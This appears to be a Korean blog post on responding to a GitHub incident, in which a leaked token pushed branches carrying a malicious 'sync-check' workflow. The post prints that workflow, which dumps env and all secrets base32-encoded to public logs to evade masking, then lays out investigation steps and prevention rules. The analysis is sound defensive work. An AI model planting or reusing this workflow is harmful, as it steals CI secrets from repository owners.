이번 글은 설계나 구현이 아니라 보안 사고 대응 기록이다. 배포를 준비하던 중, 팀원 한 명의 GitHub 활동 기록에 본인도 모르는 브랜치 생성과 푸시가 계속 나타나는 것을 발견했다. 따라가 보니 저장소에는 우리가 만들지 않은 시크릿 탈취용 워크플로(
sync-check)가 심어져 있었다. 이 글은 발견부터 확인, 분석, 조치까지를 실제로 진행한 순서대로 정리하고, 마지막에 이런 일을 일반적으로 예방하기 위한 규칙을 남긴다. 이 작업에서 나오는 개념(개인 액세스 토큰, 조직 권한, OIDC 신뢰 정책, CloudTrail 등)은 처음 겪는 것이 많아서 왜 그렇게 판단했는지를 같이 적는다.상태 메모: 이 글을 쓰는 시점에 시크릿 탈취는 성공하지 않은 것으로 확인했다(워크플로가 실행되지 않았고, AWS 역할도 한 번도 쓰이지 않았다). 다만 토큰이 어떻게 유출됐는지(근본 원인)는 아직 모른다. 팀원의 PC 점검과 토큰 폐기 확인이 끝나지 않았고, 그 결과는 확인되는 대로 이 글에 덧붙인다.
이 글(과 저장소)은 공개라서 계정 ID, 역할 ARN, 인스턴스 ID, 조직·저장소 이름과 ID, 팀원의 GitHub 계정은
<계정ID>,<조직>,<저장소>,팀원 A같은 자리표시자로 적는다. 실제 값은 저장소 밖에서 관리한다.
팀원 A의 GitHub 활동(Activity) 화면에 이런 항목이 반복해서 나타났다. 팀원 A는 이런 작업을 한 적이 없다고 했다.
| 항목 | 내용 |
|---|---|
| 브랜치 이름 | ci-sync- 뒤에 임의의 문자열(ci-sync-m5k1yk 등). 사람이 짓는 이름이 아니다 |
| 커밋 메시지 | 항상 ci: sync config |
| 동작 | 팀의 main 최신 커밋에서 브랜치를 만들고, 커밋 1개를 푸시 |
| 시기 | 10월 16일부터 19일까지 5번(조사하던 시점에도 약 1시간 전에 한 번 더 있었다) |
| 행위자 | 모두 팀원 A의 계정 |
main 커밋에서 갈라져 있어서, 처음에는 PR 병합에 반응하는 자동화처럼 보였다. 그런데 같은 병합 커밋에서 11시간 간격으로 두 번 만들어진 경우도 있어서(병합과 무관한 시각), 병합에 묶인 동작은 아니었다.GitHub Actions가 기본으로 쓰는 GITHUB_TOKEN으로 푸시하면 활동 기록의 행위자는 github-actions[bot]으로 나온다. 그런데 이 기록은 팀원 A 본인의 이름이었다. 가능성은 둘이다.
| 가능성 | 설명 |
|---|---|
| 팀원 A의 개인 액세스 토큰(PAT) 이 쓰이고 있다 | PAT는 비밀번호 대신 쓰는 열쇠다. 이것이 유출되어 다른 곳에서 쓰이면, GitHub는 그 소유자가 한 일로 기록한다 |
| 팀원 A의 PC에서 본인 인증 상태로 도는 프로그램이 한다 | 로그인된 git/gh를 악용하는 경우 |
둘 다 팀원 A의 자격이 새고 있다는 결론은 같다. 이 시점에 이미 단순한 설정 실수가 아니라 보안 사고로 보고 움직이기로 했다.
우리 조직은 멤버에게 기본으로 쓰기 권한(Base permission: Write)을 준다. 그런데 GitHub에는 기본 권한보다 특정 멤버만 낮추는 설정이 없다. 개인 권한은 기본보다 높게만 줄 수 있다. 선택지는 둘이었다.
| 방법 | 내용 | 비고 |
|---|---|---|
| A. outside collaborator로 전환 | 멤버에서 외부 협업자로 바꾸고 저장소 권한을 별도로 준다. 기본 권한이 적용되지 않는다 | 빠르다. 필요하면 다시 초대하면 된다 |
| B. 기본 권한을 Read로 낮추고 필요한 사람에게 팀으로 Write를 준다 | 구조는 깔끔하다 | 모든 멤버의 쓰기가 일단 사라져서 사전 준비가 필요하다 |
급한 상황이라 A를 택했다. 팀원 A를 outside collaborator로 내보냈다.
주의: 쓰기 권한을 빼는 것은 유출된 토큰을 막는 일의 일부일 뿐이다. 토큰은 소유자의 권한 범위 안에서만 동작하므로 쓰기가 막히면 푸시는 안 되지만, 읽기는 여전히 가능하다. 토큰 자체를 폐기해야 끝난다(8장).
sync-check저장소의 Actions 탭 사이드바에 Code style, Deploy, Identifier check, Tests 말고 sync-check가 있었다. 두 저장소(서버, 클라이언트) 모두 마찬가지였다. 그런데 .github/workflows/에는 이 파일이 없었다.
파일이 없는데 목록에 보이는 이유는 두 가지다.
ci-sync-*)에 파일이 있다.ci-sync-* 브랜치의 커밋이 이 워크플로 파일을 추가하는 것이었고, 워크플로는 on: push라서 브랜치를 푸시하는 순간 실행되도록 되어 있었다. 기본 브랜치에는 파일이 없으니 main만 보는 코드 리뷰에서는 눈에 띄지 않는다.
| 확인 | 방법 |
|---|---|
| 실행 이력 | Actions → sync-check: 실행한 브랜치, 이벤트, 행위자, 시각 |
| 워크플로 파일 목록과 생성 시각 | gh api repos/<조직>/<저장소>/actions/workflows |
| 모든 브랜치의 워크플로 파일 이력 | git log --all --full-history --name-status -- ".github/workflows/*" |
| 원격 브랜치 목록 | git ls-remote --heads origin |
| 최근 이벤트(브랜치 생성/삭제) | gh api repos/<조직>/<저장소>/events (최근 90일) |
| 감사 로그 | 조직 Settings → Audit log (플랜에 따라 토큰 종류, IP까지) |
증거는 삭제하기 전에 먼저 보존한다. 파일 내용, 커밋 해시, 실행 로그를 저장해 두고 나서 지워야 한다.
실제 파일 내용은 다음과 같았다.
name: sync-check
on: [push]
permissions: {}
jobs:
sync:
runs-on: ubuntu-latest
timeout-minutes: 6
steps:
- name: build
run: |
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120
| 부분 | 의미 |
|---|---|
on: [push] | 어떤 브랜치든 푸시되면 실행. 공격자가 브랜치 하나 만들어 푸시하는 것만으로 돈다 |
toJSON(secrets) | 이 저장소가 접근할 수 있는 모든 저장소·조직 시크릿을 JSON으로 만든다. GITHUB_TOKEN도 포함된다 |
env | 러너의 환경변수도 함께 내보낸다 |
base32 | GitHub는 로그에서 시크릿 값을 ***로 가려 주는데, 인코딩하면 가려지지 않는다. 가림을 우회하려는 장치다 |
permissions: {} | GITHUB_TOKEN의 권한만 줄일 뿐, 시크릿 노출은 막지 못한다. 그럴듯해 보이게 하는 장식에 가깝다 |
유출 경로는 로그다. 이 저장소의 Actions 로그는 공개라서, 탈취한 토큰이 없어도 인코딩된 로그를 읽고 디코딩할 수 있다. 그리고 쓰기 권한만 있으면 누구나 저장소 시크릿을 읽는 워크플로를 만들 수 있다는 점이 이 공격이 성립하는 구조적 이유다.
sync-check의 5번 실행이 모두 Action required 상태였다.
–이고, sync 잡이 시작되지 않았다.즉 5번 모두 워크플로의 내용이 한 번도 실행되지 않았고, 로그에 시크릿이 찍힌 일도 없다.
toJSON(secrets)에 들어가는 범위와 확인 결과는 다음과 같다.
| 종류 | toJSON(secrets)에 포함 | 확인 결과 |
|---|---|---|
| 저장소 시크릿 | 포함 | 0개 (gh secret list --repo ...: 두 저장소 모두 "no secrets found") |
| 조직 시크릿 | 이 저장소에 공유된 것만 포함 | 0개 (설정한 적 없음. 확인 위치는 조직 Settings → Secrets and variables → Actions. CLI는 owner 권한과 admin:org 스코프가 필요해 403이 났다) |
| Environment 시크릿 | 미포함 (잡에 environment:를 선언해야 주입됨) | 서버 저장소 production 환경에 2개(역할 ARN, 인스턴스 ID) |
sync-check.yml에는 environment:가 없어서 Environment 시크릿은 원래 노출되지 않는다. 그리고 실행 자체도 되지 않았다.
시크릿 값을 읽지 못해도, 토큰의 sub 클레임만 맞으면 시크릿 없이 AWS 역할을 가정할 수 있는 경우가 있다. 그래서 두 가지를 확인했다.
배포용 역할(blackhole-github-deploy)의 신뢰 정책은 sub를 StringEquals로 ...:environment:production 하나에 고정한 것이었다(104편). 와일드카드가 있으면 아무 브랜치의 워크플로나 역할을 쓸 수 있지만, 이 정책은 production 환경을 통과한 잡만 허용한다. 그 환경은 배포 가능한 브랜치가 main뿐이고 승인자가 필요하다.
CloudTrail의 AssumeRoleWithWebIdentity 기록을 조회했다. 처음 실행하니 리전이 없다는 에러가 났다.
aws: [ERROR]: An error occurred (NoRegion): You must specify a region.
CloudTrail 조회는 리전별이라서 --region이 필요하다. EC2가 있는 리전(ap-northeast-2)과 STS 글로벌 엔드포인트 호출이 기록되는 us-east-1을 각각 조회했다.
aws cloudtrail lookup-events --region ap-northeast-2 `
--lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity `
--start-time 2026-10-15T00:00:00Z --max-results 50 --output json `
| ConvertFrom-Json | ForEach-Object Events | ForEach-Object {
$e = $_.CloudTrailEvent | ConvertFrom-Json
[pscustomobject]@{ Time = $_.EventTime; IP = $e.sourceIPAddress; Who = $e.userIdentity.userName }
}
| 리전 | 결과 |
|---|---|
us-east-1 | 한 건도 없음 |
ap-northeast-2 | 12건, 모두 같은 시각대(오늘 15:46~15:48)와 같은 IP |
sub는 모두 repo:<조직>@<조직ID>/<저장소>@<저장소ID>:environment:production이었다. 이 시각은 내가 승인해서 시도한 배포와 일치했다. main 병합 후 자동 배포를 승인했던 때다.sub에 ci-sync-* 같은 낯선 브랜치가 나타난 기록도 없었다.그 배포는 실제로 실패했다. 로그에 "Assuming role with OIDC"가 12번 반복되고 마지막에 이렇게 끝났다.
Error: Could not assume role with OIDC: Not authorized to perform sts:AssumeRoleWithWebIdentity
configure-aws-credentials가 실패하면 여러 번 재시도하는데, 그 12번이 CloudTrail의 12건과 일치한다. 12건 모두 실패한 호출이었다. 추가로 역할의 마지막 사용 기록을 확인했다.
aws iam get-role --role-name blackhole-github-deploy --query Role.RoleLastUsed
결과가 비어 있었다. 콘솔의 역할 목록에서도 이 역할의 "마지막 활동"이 -였다. 이 역할은 한 번도 성공적으로 가정된 적이 없다. 같은 목록의 다른 역할(blackhole-ec2-role 등)은 EC2 서비스가 쓰는 역할이라 정상 사용 기록이다.
CloudTrail에 찍힌 sub의 모양이 신뢰 정책에 쓴 값과 달랐다. 104편에서 정리한 "예상되는 실패" 중 첫 줄(sub 불일치)이 그대로 일어난 것이다.
| 형식 | |
|---|---|
| 신뢰 정책에 쓴 값 | repo:<조직>/<저장소>:environment:production |
실제 토큰의 sub | repo:<조직>@<조직ID>/<저장소>@<저장소ID>:environment:production |
sub에 조직과 저장소의 숫자 ID가 들어가는 커스텀 subject 형식이 쓰이고 있었다(조직 또는 저장소의 OIDC 설정). 신뢰 정책을 실제 sub와 정확히 일치시켜야 한다. 와일드카드로 풀면 안 된다.
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:<조직>@<조직ID>/<저장소>@<저장소ID>:environment:production"
}
}
이 수정과 재배포는 이 글의 범위가 아니라 배포 쪽 작업이다. 사고 대응과 우연히 겹쳐 확인된 사항이라 여기에 적어 둔다.
비정상 접근 흔적이 없다. 이유는 셋이다.
| 구분 | 내용 | 상태 |
|---|---|---|
| 차단 | sync-check 워크플로 비활성화 | 완료 |
| 차단 | ci-sync-* 브랜치 삭제 | 완료 |
| 차단 | 팀원 A를 outside collaborator로 전환(쓰기 권한 제거) | 완료 |
| 차단 | 팀원 A의 PAT, SSH 키, OAuth 앱, gh 세션 폐기 | 확인 필요 |
| 원인 조사 | 팀원 A의 PC 점검(악성 패키지, 확장, 예약 작업, 프로세스), 로컬 git 훅 | 미완료 |
| 원인 조사 | 감사 로그에서 토큰 종류와 접속 IP 확인 | 미완료 |
| 범위 점검 | 조직의 다른 저장소에 sync-check가 없는지 확인 | 확인 필요 |
| 정리 | 증거 보존 후 sync-check 실행 기록 삭제 | 확인 필요 |
| 정책 | AWS 역할 신뢰 정책의 sub를 실제 형식에 맞춰 정확히 일치시키기 | 별도 작업 |
아직 안심할 수 없는 이유: 시크릿이 새지 않은 것과 토큰이 안전해진 것은 다르다. 유출된 PAT가 workflow 권한으로 두 저장소에 푸시할 수 있었다는 것은, 소스 코드를 읽고 다른 저장소에도 접근할 수 있다는 뜻이다. 폐기가 확인되기 전까지는 토큰이 살아 있다고 본다. 또 팀원 PC가 감염됐다면 그 PC에 있던 다른 자격 증명(AWS 키, 레지스트리 토큰 등)도 교체해야 한다.
이번 일에서 배운 점을 일반적인 규칙으로 정리한다.
workflow 스코프는 정말 필요할 때만 준다. 이 권한이 있어야 워크플로 파일을 푸시할 수 있다.CODEOWNERS에 /.github/를 지정해 워크플로 변경에 리뷰를 요구하고, 브랜치 보호나 Rulesets로 main 직접 푸시를 막는다..github/workflows/** 변경과 의심스러운 브랜치 이름 패턴의 생성을 제한한다.GITHUB_TOKEN 권한을 읽기로 둔다.main으로 제한하고, 승인자를 지정한다. 그러면 다른 브랜치의 워크플로는 그 시크릿에 닿지 못한다. 이번에 AWS 쪽이 안전했던 큰 이유다.sub는 StringEquals로 정확한 값 하나에 묶는다. 와일드카드는 쓰지 않는다.sub 형식이 적용되어 있는지 확인하고, 실제 토큰의 값(CloudTrail 기록)과 맞춘다.echo로 찍거나 set -x로 실행 추적을 켜지 않는다.| 순서 | 할 일 | 이번 일에서 |
|---|---|---|
| 1 | 증거 보존 (파일, 로그, 커밋 해시) | 워크플로 내용과 실행 목록 저장 |
| 2 | 차단 (워크플로 비활성화, 브랜치 삭제, 권한 제거, 토큰 폐기) | 1~3은 완료, 토큰 폐기는 확인 필요 |
| 3 | 범위 파악 (실행 여부, 시크릿 종류, 감사 로그, 클라우드 접근 기록) | 실행 안 됨, 시크릿 0개, AWS 기록 없음 |
| 4 | 교체 (노출됐을 수 있는 시크릿, 자격 증명) | 이번에는 노출 증거가 없어 보류. 토큰은 폐기 |
| 5 | 근본 원인 (토큰이 어떻게 새었나) | 조사 중 |
| 6 | 재발 방지 (위 규칙 1~7) | 설정 반영 예정 |
승인 버튼을 누르지 않는다. "Approve and run"이 있는 악성 워크플로를 실수로 승인하면 그때부터 노출이 시작된다.
| 문제 | 원인 | 예방 |
|---|---|---|
| 본인이 모르는 브랜치 생성, 푸시 | 팀원 A의 토큰이 외부에서 쓰이고 있었음(원인은 조사 중) | 토큰의 범위, 기간을 좁게, 정기 점검 |
| 눈에 띄지 않는 워크플로 | 기본 브랜치가 아닌 ci-sync-* 브랜치에만 존재 | .github/ 변경 리뷰, 브랜치 규칙 |
| 시크릿 탈취 시도 | toJSON(secrets)를 인코딩해 로그로 내보냄 | Environment 시크릿 + 배포 브랜치 제한, 로그는 공개라고 가정 |
| 피해가 없었던 이유 | GitHub의 악성 탐지(실행 차단), 저장소 시크릿 0개, OIDC 임시 자격 | 장기 키를 두지 않는다 |
| AWS 역할 가정 12건 | 정상 배포 시도의 재시도. sub 형식 불일치로 실패 | 신뢰 정책을 실제 sub에 정확히 일치 |
gh 세션 폐기를 확인한다. PC 점검이 끝나기 전에는 새 토큰으로 로그인하지 않는다.sync-check 같은 낯선 워크플로가 있는지 확인한다..github/ 변경에 CODEOWNERS 리뷰를 걸고, PAT 승인 요구 등 위의 예방 규칙을 설정에 반영한다. 협업 규칙 문서(CONTRIBUTING.md)에도 반영한다.sub를 실제 형식에 맞춰 수정하고, 배포를 다시 시도한다(배포 쪽 작업).